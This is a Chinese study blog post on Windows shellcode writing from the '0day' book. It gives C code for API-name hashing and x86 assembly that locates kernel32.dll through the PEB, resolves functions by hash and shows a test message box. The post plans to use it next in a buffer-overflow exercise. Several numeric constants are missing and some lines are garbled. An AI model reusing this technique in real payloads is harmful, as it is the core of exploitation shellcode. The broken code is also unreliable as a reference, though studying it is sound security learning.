旧书重温:0day2【4】动态获取函数地址

时间:2021-09-17 15:26:01

通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数

1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。

那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址

首先我们先来找到hash

 #include "stdafx.h"
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fname)
{
printf("%s",fname);
DWORD dret = ;
while(*fname)
{
dret = ((dret<<)|(dret>>));
dret += *fname;
fname++;
}
printf(" function`s hash is %.8x\n",dret);
return dret;
}
int main(int argc, char* argv[])
{
//char fname[]={"MessageBoxA"};
//DWORD dret = GetHash(fname);
Gethash("ExitProcess");
GetHash("MessageBoxA");
GetHash("LoadLibraryA");
GetHash("GetProcAddress");
return ;
}
MessageBoxA function`s hash is 1e380a6a
ExitProcess function`s hash is 4fd18963
LoadLibraryA function`s hash is 0c917432
GetProcAddress function`s hash is bbafdf85

代码执行结果。

     nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
mov ebx,fs:[0x30]
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
mov ecx,[ecx] // 获取地2个链表
mov ecx,[ecx] // 获取第三个链表 win7 下必须加这一行, xp下注释这行
mov ebp,[ecx +0x08] find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop

以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。

所以我们还得想办法。

解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin

 但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx     //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度
jne next_module
pop esi
Ret

经过改造和测试(xp win7下测试通过的代码)的汇编代码

 // 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试
_asm
{
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
find_kernel32:
mov ebx,fs:[edx + 0x30]       // 加上这个 edx 可以缩短shellcode长度,还没有00
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
//mov ecx,[ecx] // 获取地2个链表
//mov ecx,[ecx] // 获取第三个链表
push edi
push esi
next_module: mov ebp,[ecx +0x08] // dll 的地址
mov edi,[ecx+0x20] // AddressOfNames
mov ecx,[ecx]
cmp [edi+*],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
}

此代码兼容xp_win7 弹窗

接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验

感谢 failwest、cryin

----------------------------------------------------

| QQ252738331

| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

| 微博:http://t.qq.com/zhenw0

----------------------------------------------------